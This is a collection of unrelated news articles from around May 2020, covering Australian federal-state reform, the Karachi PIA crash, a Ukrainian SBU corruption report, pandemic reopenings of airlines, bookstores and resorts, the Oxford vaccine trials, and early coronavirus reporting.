Rait reflects that "the Sydney-Melbourne rivalry developed to the point where it nearly blew the Commonwealth apart. Beyond NSW and Victoria, the interesting thing about our federation is that South Australia and Western Australia in particular are very parochial. This squabbling between NSW and Victoria confirmed their long standing scepticism of the eastern states and they went their own way. "It seems history is repeating itself  the smaller states find themselves less trusting of the testing and the capacity of NSW and Victoria", with South Australia, WA, Queensland, Tasmania and the Northern Territory keeping their borders sealed despite the urgings of NSW and Victoria that they should open them. Rait remarks that the decisions by the less populous states to hold fast their borders "plays to the parochialism in their own states  they can beat their chests and say 'Look how good we are at protecting you from these feral Newsouthwelshmen and Victorians'". Australia's federation now stands at the threshold of a different test, one it's been failing continuously for decades. Not just to coordinate in one area of policy but to reform the federation itself. To simplify the messy lines of federal-state responsibility and to clear the clogged tax arteries that have helped give Australia an ever-slowing economic growth rate.

And, on this task, it is the states that have been leading the way. NSW and Victoria, notably, have overcome their rivalry to embrace the reform task together. The NSW Treasurer, Dominic Perrottet, likes to give the example of the current education dysfunction  the federal government is responsible for childcare, the states for preschool, the states for schools, the federal for universities and the states for TAFE. Loading Before the coronavirus hit, Perrottet created a federation reform panel headed by David Thodey to produce policy ideas. Better federal-state organisation of services such as health and education are part of its remit. Tax reform is another part. Trying to get any real tax reform in Australia has been the labour of Sisyphus ever since the last major overhaul  the GST-based changes of the Howard and Costello government 20 years ago. Like Sisyphus and his rock, the task has proved endless yet fruitless. Says Perrottet: "It's been opposition from Labor and Liberal sides in the past that has stifled reform and probably will do so in the future. If we can't get co-operation across party political lines in a pandemic, we never will." One of the reasons that his evolving partnership with his Victorian counterpart, Tim Pallas, is important is that it promises some hope of doing just this  Perrottet is Liberal and Pallas Labor. "Working across party lines can take the heat out of a lot of issues," says the NSW Treasurer.
Cal-Maine Foods, Inc. (CALM) is looking like an interesting pick from a technical perspective, as the company is seeing favorable trends on the moving average crossover front. Recently, the 50 Day Moving Average for CALM broke out above the 200 Day Simple Moving Average, suggesting a short-term bullish trend.

This has already started to take place, as the stock has moved higher by 6.6% in the past four weeks. Plus, the company currently has a Zacks Rank #1 (Strong Buy) suggesting that now could definitely be the time for this breakout candidate.

More bullishness may especially be the case when investors consider what has been happening for CALM on the earnings estimate revision front lately. No estimate has gone lower in the past two months, compared to 1 higher, while the consensus estimate has also moved higher too.

So given this move in estimates, and the positive technical factors, investors may want to watch this breakout candidate closely for more gains in the near future.You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here.

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Karachi, May 22 : A Pakistan International Airlines (PIA) plane crashed in a residential area in Karachi near the city's Jinnah International Airport on Friday, an official of the flag carrier has confirmed.

The crash took place in the city's Model Colony area, reports Dawn news.

PIA spokesperson Abdul Sattar confirmed the crash and added that the flight A-320 was carrying 90 passengers and was flying from Lahore to Karachi.

Footage showed plumes of smoke rising from the site of the crash.

Confirming the incident, a senior official of the Civil Aviation Authority said the rescue operation was underway.

"It is too early to say anything. We are collecting details of passengers," The Express Tribune quoted the official as saying.

Meanwhile, a statement by Inter-Services Public Relations (ISPR) said Army Quick Reaction Force and Sindh Pakistan Rangers reached the site for relief and rescue efforts alongside civil administration, Dawn news reported.

Sindh's Ministry of Health and Population Welfare has declared emergency in all major hospitals of Karachi due to the plane crash, according to Meeran Yousuf, the media coordinator to the provincial health minister.

Last year, a PIA aircraft skidded off the runway while landing at Gilgit airport.

Passengers had remained safe in the accident, but the plane suffered considerable damage.

On December 6, 2016, PIA flight PK-661 carrying 48 passengers and crew had crashed on the way to Islamabad from Chitral, killing all on board.

-- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed
Kansas City Irish Festival takes on new virtual format, says they may also feature smaller in-person events KANSAS CITY, Mo. - The Kansas City Irish Festival at Crown Center is shifting how it will celebrate this year. The theme for KC Irish Fest this year is "Reimagining Irish Fest," which means out with the traditional three days of celebrating at Crown Center and in with a new plan.

Kansas City's traditional End Of Summer blowout is now jut another livestream session and a few more event we'll all pretend to enjoy whilst drinking alone . . . Read more:
KYIV -- The head of the Ukrainian Security Service holds a top position in a private company registered in Spain, in violation of an anti-corruption law, according to a Skhemy investigative program.

According to the May 21 report, an official extract from the register of legal entities in Spain shows Ivan Bakanov has occupied the post of sole administrator at Nueva Tierra Verde Sociedad Limitada since 2015.

According to Ukrainian law, the head of the service, known as the SBU, cannot be the head of a private company.

The founder of the company is the Cypriot firm Davegra LTD, owned by Andriy Yakovlev, the creator of Kvartal-95 Studio, where President Volodymyr Zelenskiy worked as a comedian/actor before he was elected last year.

The name of the company, based in the Spanish province of Girona, translates as New Green Territory in English, echoing the titles of projects with Zelenskiy's involvement. The president's last name stems from the word green in Slavic languages.

According to the register, the company specializes in construction and various real-estate activities.

Since it does not submit annual reports on its operations, the company was added to a list of violators of Spanish tax regulations.

Last autumn, the company's tax identification number was temporarily revoked due to the violation.

The State Register of Legal Entities of the Province of Girona confirmed to Skhemy that the company had not been liquidated and was considered a functioning entity.

Under Spanish regulations, Bakanov is legally the company's sole manager and fully in charge of running it.

Article 25 of Ukraine's Law on the Prevention of Corruption states that individuals occupying public offices are banned "from being members of boards, other executive or control bodies, and supervisory boards of commercial enterprises or profit organizations."

Bakanov refused to comment on the situation, but the SBU press service provided Skhemy with a statement denying Bakanov did anything wrong.

Skhemy, which translates as Schemes, is a joint investigative news project produced by RFE/RL and UA:Pershy television.

"It is a well-known fact that, long before his appointment as the chief of the Security Service of Ukraine, Ivan Bakanov was successfully engaged in business, including business activities abroad. We stress that, in compliance with the law requirements, he has not been engaged in commercial activities since his appointment to the public office. Nueva Tierra Verde Sociedad Limitada officially suspended its activities in 2019, which is reflected in the relevant register of legal entities," the SBU's statement said.

When asked about the Spanish State Register's statement confirming the company was still listed as functioning with Bakanov as its sole administrator, the press service said that "work to clarify the issue will be done."

The deadline for submitting property and income declarations by Ukrainian officials to the National Agency for the Prevention of Corruption is June 1.

According to amendments to the legislation introduced last fall, the SBU leadership must make all income declarations public.

However, Zelenskiy submitted an "urgent" bill to parliament in March that would again classify the SBU leadership's income and property declarations.

Zelenskiy promised to discuss the issue with Bakanov, whom he calls "the most honest SBU chief," when asked about the move during a press conference on May 20.
The Uber Intercity operations would be limited to travel with necessary authorisation within the state and in permissible zones only, Uber India said in a statement.

Chennai: Ride-hailing platform provider Uber has resumed operations in Coimbatore ensuring riders with safe, reliable and convenient mobility, the company said on Friday.

The service would be in compliance with Lockdown 4.0 guidelines by the government, Uber India said.

Accordingly, riders in Coimbatore would be able to access the company's services including -- UberAuto, UberGo, Premier, Intercity and Hourly Rental services.

Click here to follow LIVE updates on coronavirus outbreak

The Uber Intercity operations would be limited to travel with necessary authorisation within the state and in permissible zones only, Uber India said in a statement.

"We are pleased to resume our services in Coimbatore. Our priority is moving cities forward while ensuring a safe experience for riders," Uber South India, Head-Ridesharing, Kanika Malhotra said.

"We are also looking forward to bringing back earning opportunities for the driver-partner community. We request all our riders to constantly be alert about safety and follow all advice from government and public health authorities," he said.

As part of ensuring hygiene environment, the company said through a new feature in the ''Driver application'' a notification would be sent to drivers to ''replenish'' their PPE (personal protective equipment) supplies after they complete a pre-determined number of trips.

Uber said it has unveiled comprehensive measures such as distribution of PPE kits, including masks, sanitisers and disinfectants to drivers among many others.
The United States does not expect to pull out of the New START accord with Russia and will enter into good-faith negotiations with Moscow, White House national security adviser Robert O'Brien said.

Asked if the White House would be pulling out of new START treaty, the top U.S. official said in an interview with Fox News Channel: "No I don't think so. ... We are going to enter into good faith negotiations with the Russians on nuclear arms control."



The U.S. announced earlier on Thursday it would withdraw from the 35-nation Open Skies treaty that allows unarmed surveillance flights over member countries, Reuters reported.



Moscow and Washington signed a nuclear arms reduction accord known as the New START treaty in 2010. It took effect in 2011. The treaty shall stay in effect for ten years (up to 2021) unless it is replaced by another agreement by that moment. Or it can be prolonged for no more than five years (until 2026) by mutual consent.
Advertisement

A Chinese landlord is demanding a luxury island resort reopen immediately in defiance of coronavirus restrictions, or face massive financial penalties.

Lizard Island on the Great Barrier Reef shut down its $2,000 to $5,000-a-night resort on March 29 as travel bans and business closure orders came into effect across Australia.

One of Australia's most famous five-star resorts, the paradise hideaway northeast of Cairns is popular with celebrities and rich holidaymakers - none of whom can now even get to the island.

Lizard Island on the Great Barrier Reef shut down its $2,000 to $5,000-a-night resort on March 29 as travel bans and business closure orders came into effect across Australia

Despite the resort having no guests and not legally being able to operate, the island's leaseholder insisted it should have stayed open, government orders be damned

One of Australia's most famous five-star resorts, the paradise hideaway northeast of Cairns is popular with celebrities like Mark Ruffalo (pictured left snorkeling of Lizard Island with his son) and rich holidaymakers

The island's beaches are empty and the resort has no guests since it closed almost two months ago

Despite the resort having no guests and not legally being able to operate, the island's leaseholder insisted it should have stayed open, government orders be damned.

In an extraordinary email from its lawyers, SEA Holdings accused operator Delaware North of breaching its $2 million-a-year lease and threatened legal action if it did not reopen.

'Your client has breached clause 4.5 of the sublease by closing the Lizard Island resort without our client's consent,' the April 23 ultimatum read, according to The Australian.

'Our client does not consent to your client's closure of the Lizard Island resort. Please confirm that your client will reopen the Lizard Island resort without delay and that it will comply with its obligations under the sublease in full, including payment of rent.'

The spectacular Great Barrier Reef is a big drawcard for the island, where guests can take tours of the reef in glass-bottomed boats

Two friends enjoy glasses of wine on one of the island's many pristine beaches a short stroll from the resort

Lizard Island announced on March 29 it would be closed until July 1 'to ensure the health of our guests and staff'

The dispute began soon after when Delaware North sought rent relief like thousands of other Australian businesses suddenly haemorrhaging cash with no income

SEA Holdings, through law firm Clifford Chance, argued Delaware North was liable for all losses and expenses suffered as a result of the resort's closure.

The Hong Kong-based, Chinese owned group secured the primary lease on Lizard Island from the Queensland Government for just $16 million in 1997 and subleases to Delaware North for $2 million a year.

The resort was obliterated by Cyclone Yasi in 2011 and rebuilding efforts were hampered by two more cyclones in 2014 and 2015 before the $45 million rebuild opened in November 2015.

Lizard Island announced on March 29 it would be closed until July 1 'to ensure the health of our guests and staff'.

The dispute began soon after when Delaware North sought rent relief like thousands of other Australian businesses suddenly haemorrhaging cash with no income.

SEA Holdings retorted that were no 'lawful directives' demanding hotels close their doors during the pandemic - despite there being no way for guests to actually get there.

The resort was obliterated by Cyclone Yasi in 2011 and rebuilding efforts were hampered by two more cyclones in 2014 and 2015 before the $45 million rebuild opened in November 2015

One of the bedrooms in the luxury resort where accommodation costs $2,000 to $5,000 a night

Tourists swim with a turtle hanging out in the shallows off Lizard Island

Lizard Island resort features stunning private beaches, coral reefs, luxurious spas, 40 luxurious suites and villas, and upmarket bars and restaurants

Clifford Chance in the April 23 letter refused to accept that social distancing guidelines made the one-hour flight from Cairns impossible.

The law firm argued guests could be flown in by seaplane one-by-one or in family groups by sea plane, or via boat.

This was during the government-imposed lockdown where Queenslanders couldn't even leave their homes, let alone take luxury island holidays.

The Queensland Government is reportedly examining SEA Holdings' leave to put pressure on it to resolve the dispute amicably.

Lizard Island resort features stunning private beaches, coral reefs, luxurious spas, 40 luxurious suites and villas, and upmarket bars and restaurants.

The island really is an escape with zero mobile phone coverage and children under nine banned.
AS the world continues to struggle against the Covid-19 pandemic, the US and China are engaged in a word war that has caused division among nations.

Beyond sword words, the two superpowers have intensified their conflict in two stages: World Health Organization and South China Sea. Not counting the ongoing trade war.

During the recent World Health Assembly, the contrasting positions of the two countries were demonstrated. Chinas leader Xi Jinping pledged $2 billion for the entire world for Covid-19 and promised to send doctors and medical supplies to Africa and other countries in the developing world. He committed full cooperation with WHO in fighting the coronavirus. US President Donald Trump, in response to Chinas generosity, labelled WHO as a lapdog of China and threatened to permanently cut off US funding, as well as, revoke his countrys membership if it fails to commit to substantive improvements within the next 30 days.

The two-day virtual meeting concluded with a resolution co-sponsored by more than 130 countries, declaring that global unity is the most powerful tool to combat the outbreak. But Trump does not agree, even as he has utterly failed in containing the coronavirus in his country.

It is a different story though in the South China Sea, as China has once again renewed its naval presence, thereby escalating tension in the contested waters. US Secretary of State Mike Pompeo in Trumpian-style fired off, accusing Chinas leadership of exploiting the worlds focus on the Covid-19 crisis by continuing its provocative behavior. And to further provoke China, Pompeo sent a written statement that was read during the second term inauguration of Taiwanese President Tsai Ing-wen, congratulating Her courage and vision in leading Taiwans vibrant democracy is an inspiration to the region and the world. China called Pompeos action a serious violation of the one-China policy that is the foundation of US-China relations.

It must be difficult for nations to decide on which superpower they will side with Donald Trump, a capitalist, is more of a showman than a leader, whose antics are neither entertaining nor inspiring. Xi Jinping is a communist whose money diplomacy has worked magic not just among underdeveloped and developing states, but even those in the First World.

If the tension between China and the US escalates further in these Covid times, we may all be heading from pandemic to pandemonium. Everyone suffers.
The SOC will be keeping an eye on the citys network of cameras and will even add some pop-up camera areas where we anticipate there might be trouble, Brown said. This will allow the department to more easily redeploy officers to address developing situations.
Wrexham Council chiefs warn coronavirus could have profound impact on finances

This article is old - Published: Friday, May 22nd, 2020

Council chiefs in Wrexham have warned the coronavirus pandemic could have a profound impact on public finance.

It comes after it was recently estimated that Welsh local authorities are facing extra costs of 33m per month due to loss of income and increased demand on frontline services during the crisis.

The Welsh Government has given councils an advance on their core funding instalments to help their cash flow, while a support package of 95 million was also announced last month.

However, both the chief executive and leader of Wrexham Council said the effects of COVID-19 were still taking their toll on the authoritys purse strings.

Writing in the foreword to the organisations annual governance statement, they said: At the time of writing, the authority is responding to the Covid-19 pandemic.

Our governance arrangements are working well in these unprecedented circumstances, and while we cannot yet say what the long term impacts of Covid-19 will be for public finance and public services, the change could be profound, and we need to continue to ensure that our governance framework is fit for purpose.

In the short term, the impact of Covid-19 is being felt across the council  both in the ways we conduct our business and the services we are able to provide.

For example, the pandemic has had implications for our decision-making processes, ability to transact business, involvement of elected members and risk management, and has tested the capacity, capability and resilience of our workforce.

They added: Broadly speaking, our governance arrangements have worked well, our service continuity plans proved successful and we have responded to government and regulators regulation and guidance.

But changes in the way we work and the services we provide have implications for our governance arrangements, and while we are in the early stages of assessing the impact of Covid-19, we must ensure that we identify and plan for the longer term impacts on our ability to deliver value for money and achieve our priorities while maintaining good corporate governance.

The report outlining the effects of the pandemic on the authoritys finances is due to be considered at an audit committee meeting being held next week.

It will be the first time councillors have formally met in over two months since lockdown measures were introduced, with the session being hosted virtually over Zoom to prevent any risk of exposing members to the virus.

In a separate report being discussed, the councils chief finance officer has provided a more in-depth look at the current financial position.

Mark Owen said the Welsh Government had provided a number of tranches of funding available to local authorities, including 40m to assist with social care costs.

He said: The scheme provides for additional expenditure incurred by the local authority as a result of Covid-19.

However, the council will have other pressures such as costs that are currently not eligible for Covid-19 hardship funding and loss of income as a consequence of temporary suspension of services.

Negotiations are currently taking place with WG for financial assistance to cover these additional pressures.

There may also be short to medium term impact on the assets and liabilities of the council as a consequence of the pandemic.

The audit committee meeting will be take place next Thursday with members of the press invited to view online.

While it will not be streamed live, the council is aiming to post a public recording on its website as soon as possible after it finishes.

By Liam Randall  BBC Local Democracy Reporter (more here on the LDR scheme)
Canadian booksellers are in various phases of reopening their stores, a process largely determined by the location and the regulations of individual provinces.

Indigo Books & Music, the country's primary bookstore chain, closed all 210 of its stores over two months ago. This week, the company reopened 12 locations, but also announced it will not be renewing the leases on 15 of its smaller format stores after June. The company confirmed that it does plan to reopen its location in Short Hills, N.J. when local regulations and safety measures permit doing so, said spokesperson Kate Gregory.

"Some of the measures we are implementing when we reopen include: hand sanitizer available at entrances and throughout the store, personal protective equipment for our employees, protective shields at our cash desks, steps to ensure its possible to practice physical distancing including limiting the capacity of stores, physical distancing markers in store, stringent and frequent sanitation of the store, and more," said Gregory.

As for the prospects going forward, Indigo CEO Heather Reisman believes the company is vulnerable and will suffer without government intervention and flexibility from landlords. Reisman told the Toronto Star, that since closing stores, they have seen a surge in online ordering, "though its not profitable at all," adding that "We make no money online." She went on to blame Amazon for instilling a culture of deep discounting.

As for the independent sector, McNally Robinson, one of the country's largest indie bookstores, the doors to its flagship Winnipeg store have been open to customers for three weeks; the company's location in Saskatoon, Saskatchewan reopened earlier this week. "The store in Winnipeg never officially closed because we were continuing all along to fulfill online and phone orders, as well as offering curbside pickup" said co-owner Chris Hall, who said revenue from book sales fell some 75% from comparable levels a year ago. He concurred with Indigo's Reisman in saying that the online and phone orders were "largely unprofitable." Since opening the doors to customers, sales are up to 40% of volume compared to last year. "You can see that customers are cautious and nervous," said Hall. "They don't want to linger and browse, which cuts into sales."

The company, which also operates another smaller store in Winnipeg, as well as a wholesale business and two cafes, typically employs 175 people, but had laid off all but 17. "We are rehiring staff in proportion to rising sales," explained Hall. The store is offering hand sanitizer to customers and staff are wearing masks. "We don't have up plexiglass at the checkout," he said, largely because they only had three days notice before reopening the Winnipeg store. "It was probably better that we didn't have too much time to get fearful. But we are in a big enough space that we can also keep our distance from each other and customers. When someone wants to check out we do what we have come to call a little Covid-dance, where they lean in to pay and we lean back, and we lean in to give them their books and they lean back."

Hall expressed concern for the future. "We are not fine financially," he said. Hall is especially worried about the fact that the store, which was a primary tour destination for authors, will not be able to hold events for the foreseeable future. He was uncertain if his landlord would be willing to make concessions on rent. "We are getting some help from the government and the wage subsidy in Canada has been extended to August, so we have some time to prepare for things," said Hall. Publishers too have offered to help, by giving discounts and favorable terms on new orders to reload the store with books. "But since I really have no money coming in, I am going to have to balance out any orders by pulling returns."

Looking ahead, Hall said, "I go up and down each day, wavering between being quite hopeful and thinking things will never be the same again."

In downtown Toronto at Ben McNally Books, the doors remain closed to customers. "We are getting in email orders and are doing our best to fulfill orders, but since it is mostly me here, it is a slow process," said manager Rupert McNally. "We do not plan to open until a time when we are all comfortable with it," he said, noting that this father Ben, the namesake owner of the store, won't return to work until a time when it is safe for a man of his age to do so. In addition, McNally said that there was little point in rushing to reopen as there was scaffolding impeding entry to the store, which is expected to close this coming August. The store has not found a new location yet, said McNally. "Right now, we just want to see our way through this then we will have to decide what's next."

A Boost for Kobo

One Canadian company that has seen business increase during the pandemic is Toronto-based e-book and audiobbook store Kobo. "The initial surge of sales we saw in the early weeks of pandemic have continued and even accelerated," said Michael Tamblyn, CEO. "In all our key markets, including Canada and the United States, our sales are up between 35% and 130% over last year." The company has also given away 15 million free e-books to readers as part of programs to promote reading during the pandemic. "It has been an interesting time for us. People we used to call 'never-evers'  people who in our marketing research said they would never ever read an e-book  have turned to. It's gratifying that people, when faced with no way of getting print books, have decided to give digital a try."
May 22 : Actor Sanjay Dutt is one of the prominent actors in Bollywood. He never fails to appreciate the people doing hard work amid lockdown. As soon as he came to know about the noble work of The Lawrence School of Sanawar, he took to his Instagram handle and wrote the letter of appreciation.

In his post he praised the headmaster and teachers of the school for their noteworthy and commendable work. The Kaante actor also expressed that he is feeling proud to be the alumni of the school.

The Instagram feed of Sanjay Dutt read, I recently got to know about the noble work The Lawrence School of Sanawar is doing. The headmaster Himmat Singh and a few teachers have stayed back to teach the local students. They are not only focusing on the academics but also providing emotional support & helping the people in the vicinity during this tough time. The work that they are doing is commendable and praise-worthy. I feel so proud to be alumni of this school which has always taught us to never give in & it still continues to impart these values. My best wishes to everyone who is doing such great work! -Sanjay Dutt

Meanwhile on the work front, Sanjay will be seen in Bhuj: The Pride of India. It is a war action film directed by Abhishek Dudhaiya. The film also features Sonakshi Sinha, Ajay Devgn, and Parineeti Chopra in the lead roles.

Sanjay Dutt is also part of much awaited KGF2 with Yash.
A teenage wife who stabbed her husband to death for wanting to have s.e.x with her said she carried out the act because she thought s.e.x was a bad thing.

Salman Hassan, 18 from Itas Gadau Local Government Area of Bauchi State was arrested by the State Police Command for allegedly stabbing her husband, Mohammed Mustapha to death while trying to have s.e.x with her.

As she was paraded at the Police Command headquarters, Bauchi on Thursday, Hassan did not deny stabbing her husband, but said she stabbed him in the chest because he insisted on sleeping with her.

I did not really mean to kill my husband, it was an accident. I stabbed him on the chest because he wanted to have carnal knowledge of me. I felt s.e.x was a bad thing, so I objected to his advances.



I regret killing my husband I only meant to use the knife to scare him away. I dont know what will happen to me now She said in her confessional statement at the Police Headquarters obtained by The Nation.

According to her, she love her husband, but said she got angry and stabbed Mustapha with a knife when he refused to stop.

Phillip Maku, State Commissioner of Police, said Salma committed the crime on April 24 2020, saying that one Hauna Musa reported the matter at the Itas-Gadau Police Division after which she was arrested.

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"If you proceed in your careers as someone who not just thinks about the work in front of you but your role in shaping the larger community, you will always go to the place where you're most needed."

Boston City Councilor Michelle Wu addressed the latest class to become Doctors of Optometry at the New England College of Optometrys (NECO) Class of 2020 online celebration. With a formal, in-person ceremony postponed, Councilor Wu joined in the celebration by video to recognize the transition from student to doctor for the 142 graduates.

For her ongoing commitment to healthcare, education, and community, NECO awarded Councilor Wu the Doctor of Humane Letters degree.

Councilor Wu addressed the graduates from her home in Roslindale, where she is a patient at NECOs Center for Eyecare on Washington Street.

Her words of guidance and inspiration:



"Always see yourself as part of the community. You have already been there as students who have been practicing, interacting with the community, and giving back to those in need. If you proceed in your careers as someone who not just thinks about the work in front of you but your role in shaping the larger community, you will always go to the place where you're most needed."

"Think about the difference that you want to make in the world, not the position that you want to have. If you follow your heart and think about where you want to be, who you want to be helping, and what difference you want to make the decisions will be clear of what step to take next in the decision trees of life."

"I hope you always know that you'll always have a home in Boston. We're proud that we played a small role in nurturing you during your education. The City of Boston is an incredible place and we are a diverse, vibrant, welcoming, loving community so we would always love to welcome you back."

Michelle is a community advocate and champion of healthcare access and equity. Her words are the genuine voice of experience, NECO President Howard Purcell stated. She is an inspiration to our graduates as they embark upon their careers in healthcare, many of them motivated by their clinical training within Bostons vast network of Community Health Centers.

NECO plans to reschedule the commencement ceremony on a yet-to-be-determined date. We look forward to having Councilor Wu return for the formal commencement ceremony, noted Purcell. Four years ago, being the Class of 20/20 seemed a bit of whimsy to the future optometrists. Today, the Class of 2020 has a more dramatic meaning as the COVID-19 crisis not only affects their graduation, but marks the vital beginnings of productive careers.
Budget carrier GoAir is likely to resume domestic flight services from June 1, owing to certain "operational and regulatory" issues, sources said on Friday.

Minister of State for Civil Aviation Hardeep Singh Puri had on Wednesday announced, through Twitter, that commercial passenger services on domestic routes will be allowed to operate from May 25 under a comprehensive Standard Operating Procedure (SOP), covering all stakeholders.

By Friday, except GoAir, all other Indian airlines, including national carrier Air India, had commenced bookings for their domestic flights.

"We have bookings from June 1 onwards as the government had earlier disallowed airlines from taking bookings till May 31. We have some issues such as (providing) simulator training to pilots and renewal of certain licences which have lapsed," a source said.

"All these issues will take a couple of days to be sorted out. For this reason, we are expected to resume our services only from June 1," the source added.

Since the airline's employees are on leave without pay, they could not go for simulator training earlier, and currently these facilities are not available due to demand, he said.

"Nevertheless, we are preparing to take off the ground again. We plan to operate 100 flights per day with a fleet of 17-18 aircraft, which is one-third of both -- our almost total number of daily flights and aircraft," another source said.

"We have already got the approval for 85 flights. We have filed plans for another 15 flights," he added.

Response to queries sent to GoAir spokesperson did not elicit any response.

Prior to suspension of all commercial passenger services on March 25 due to the nationwide lockdown to combat coronavirus pandemic, the Wadia Group-owned aviation entity had been flying 280 services daily on national routes, in addition to around 60 on overseas routes with a fleet of 54-56 aircraft.

From providing protective gear like face shields and gowns to cabin crew to deep cleaning of aircraft every 24 hours, airlines are taking various measures as they plan to restart curtailed domestic operations from Monday onwards amid the coronavirus pandemic.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
London, May 22 : The University of Oxford said on Friday that its researchers have begun recruiting adults and children for advanced human trials of a Covid-19 vaccine that will involve up to 10,260 volunteers across the UK.

The initial human trials which began in April involved more than 1,000 volunteers. The immunisations in the initial trials have been completed and the follow-up is currently underway. The advanced study will involve Phase 2 and Phase 3 trials.

The Phase 2 part of the study involves expanding the age range of the people the vaccine is assessed in to include a small number of older adults and children -- aged between 5-12 years, 56-69 years, and those over 70 years.

For these groups, researchers will be assessing the immune response to the vaccine in people of different ages, to find out if there is variation in how well the immune system responds in older people or children.

The Phase 3 of the study involves assessing how the vaccine works in a large number of people over the age of 18.

This group will assess how well the vaccine works to prevent people from becoming infected and unwell with Covid-19.

Adult participants in both Phase 2 and Phase 3 groups will be randomised to receive one or two doses of either the ChAdOx1 nCoV-19 vaccine or a licenced vaccine (MenACWY) that will be used as a "control" for comparison, the University of Oxford said.

The Oxford vaccine is made from a virus (ChAdOx1), which is a weakened version of a common cold virus (adenovirus) that causes infections in chimpanzees, which has been genetically changed so that it is impossible for it to replicate in humans.

"The clinical studies are progressing very well and we are now initiating studies to evaluate how well the vaccine induces immune responses in older adults, and to test whether it can provide protection in the wider population," Andrew Pollard, head of the Oxford Vaccine Group, said in a statement.

"We are very grateful to the huge support of the trial volunteers in helping test whether this new vaccine could protect humans against the pandemic coronavirus," Pollard added.

Drugmaker AstraZeneca recently joined forces with the UK government to support the Oxford University's vaccine programme.

AstraZeneca on Thursday said that it received support of more than $1 billion from the US Health Departments's Biomedical Advanced Research and Development Authority (BARDA) for the development, production and delivery of University of Oxford's upcoming Covid-19 vaccine, starting this autumn.

To assess whether the vaccine works to protect the volunteers from Covid-19 in the advanced trails, statisticians in the Oxford team will compare the number of infections in the control group to the number of infections in the vaccinated group.

"For this purpose, it is necessary for a small number of study participants to develop Covid-19. How quickly we reach the numbers required will depend on the levels of virus transmission in the community," the University of Oxford said.

"If transmission remains high, we may get enough data in a couple of months to see if the vaccine works, but if transmission levels drop, this could take up to 6 months," it added.

Latest updates on Coronavirus (COVID-19)
In the story of the novel coronavirus, there are two viruses: the virus as it really exists and the virus as we understand it. The former changes rarely. The latter is changing all the time.

Vivian Wang, a reporter for the New York Times, first read about the novel coronavirus in the South China Morning Post newsletter, sitting at her parents kitchen table in Chicago at the end of her holiday break, in January. Nobody really knew what was going on; the seafood market was being shut down. I just remember reading it and thinking this seems pretty crazy, Wang says. Days later, she flew to Hong Kong.

Though Wang was planning to move to Hong Kong, her January trip was temporary, so she could attend a few meetings. On January 6 she wandered into the office and sat in on the morning editorial meeting. The team was discussing the virus and the reporting out of China.

I think we should look into it, Wang remembers her colleagues saying. It might turn out to be nothingbut if it does turn out to be big, we want to make sure that weve been covering it from as early on as possible.

Wang was assigned to walk the streets and take the citys pulse. She stopped in a few corner stores. She visited the rail stationwhich has a train that connects to Wuhan. She tried to count how many people were not yet wearing masks. (She wrote 80 percent in her notes.) She walked into a pharmacy and watched employees restock mask inventory within minutes. In another, she saw workers carrying out baskets full of extra personal protective equipment (PPE). A third store had sold out of masks completely.

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Meanwhile her colleague, Sui-Lee Wee, was speaking to sources in China and infectious disease experts in Hong Kong and Singapore. Later that day, they filed their piece, headlined China Grapples with Mystery Pneumonia-Like Illness, the first of any Times reporting on the topic. In one paragraph, the piece quotes an expert who was frustrated by the lack of access to information from Chinese scientists.

The fact that we were trying to gauge how seriously to take this virus by how seriously people on the ground were taking it, Wang says, speaks to the lack of expert insight. Our best barometer at that point was how scared are normal people?

EIGHT THOUSAND MILES AWAY, in New York City, Dr. Vincent Racaniello was intrigued when he read Wangs articlethe first he had seen about the yet-unidentified strain of disease making its way through Wuhan. Racaniello, a virologist described by some as passionate and by others as rant-y, works and teaches at Columbia University. For many years, he has displayed a poster on the wall of his office that reads: There is no expedient to which a man will not resort to avoid the real labor of thinking.

Since 2008, Racaniello has self-published a weekly blog and podcast called This Week in Virology (TWiV), where he hosts other virologists, biophysicists, engineers, geneticists, and onceDr. Anthony Fauci. TWiV has its own Facebook page and its own T-shirts. Episodes frequently run longer than two hours.

On January 12, Racaniello recorded TWiV episode #582: This little virus went to market. So we haveapparentlya new virus in China causing a pneumonia-like illness, just between this episode and last. It seems just to have hit the news, Racaniello said, on the podcast. He then went on to read aloud from the Times piece: A professor of infectious diseases at the University of Hong Kong, who was involved in identifying SARS coronavirus, said we can assume this virus transmissibility is not that high.

I dont know why you should assume that yet. he told his listeners. Who knows?



IN A DIAGNOSTIC ANGIOGRAM, doctors inject dye into patients blood vessels in order to make the paths of their blood flow visible. A similar procedure can, metaphorically, be performed with the narrative of the coronavirus. Tracing its outlines reveals the inner workings of a complex information ecosystem. Patterns emerge: connections, misdirection, blockages, feedback loops.

The first person to imagine any new virusbefore it has a name, a shape, or a classificationis a doctor who encounters a patient with aberrant symptoms. The model of the novel coronavirus was born as early as November 2019, as a series of nebulous maybes. Maybe this is a new virus. Maybe its like SARS. Maybe its something we havent experienced before. Those maybes solidified with time, with additional evidence. But they also became complicated when the model moved beyond the purview of a single person.

At the start of January, epidemiologists began to receive reports from public health departments in China, which included rudimentary information about the number of new infections, hospitalizations and deaths. A few virologists received a sample of the virus to photograph with electron microscopes and map genomically. Infectious disease experts know that this is a chaotic time, says Caitlin Rivers, a computational epidemiologist at Johns Hopkins University. And theres no single piece of data or single piece of evidence taken to be infallible.

While public health authorities struggle and sift through existing data and what it means, politicians hold tentative press conferences, scrambling to connect dots and, in worst cases, to conceal data points that indict them. Journalists make dozens and dozens of phone callsto scientists, to colleagues, to anyone who might know something.

Richard Besser, president and chief executive of the Robert Wood Johnson Foundation, was the director of the Centers for Disease Control in 2009 during the H1N1 pandemic. Early on in the process of gathering data on that virus, he remembers talking to some of the top disease modelers in the world about the possible severity of the pandemicusing a scale ranging from one, a best-case scenario, to five, at the worst. They said, Well, based on what we can see, we think this pandemic will be a three, with confidence intervals from one to five. Which basically meant it could be anything from the mildest flu season to 1918, he recalls.

Megan Cotter spent two years at the Centers for Disease Control, working as a fellow. There is a room at headquarters that has a floor-to-ceiling array of televisions with updated stats from this country and from that country and updates from this field, epidemiologists and whatever, Cotter says. But a lot of lay peoplelike my momassume that theres one Excel file with all the COVID-19 responses, that the CDC has all this information in real time, and that theyre constantly updating it. And its just not true.

Newsrooms covering the pandemic were similarly chaotic. There were all sorts of rumors and unconfirmed information flooding in every day, Chow Chung Yan, executive editor of the South China Morning Post says of the early reporting on the virus. The volume and the scale were way bigger than what we saw during the SARS outbreak. A large part of our job was to verify this information and separate gold from sand.

